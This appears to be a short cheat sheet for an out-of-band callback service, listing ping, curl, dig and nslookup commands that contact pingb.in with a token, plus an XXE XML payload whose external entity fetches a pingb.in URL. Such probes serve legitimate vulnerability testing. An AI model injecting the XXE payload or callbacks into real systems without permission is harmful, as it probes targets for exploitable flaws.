$ ping -c1 -p 00e935e35e05970717b47d55e45bb100 pingb.in
$ curl pingb.in/p/e935e35e05970717b47d55e45bb1
$ dig e935e35e05970717b47d55e45bb1 @pingb.in
$ dig e935e35e05970717b47d55e45bb1.ns.pingb.in
C:\> nslookup e935e35e05970717b47d55e45bb1 pingb.in
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://pingb.in/p/e935e35e05970717b47d55e45bb1">]> <foo>&xxe;</foo>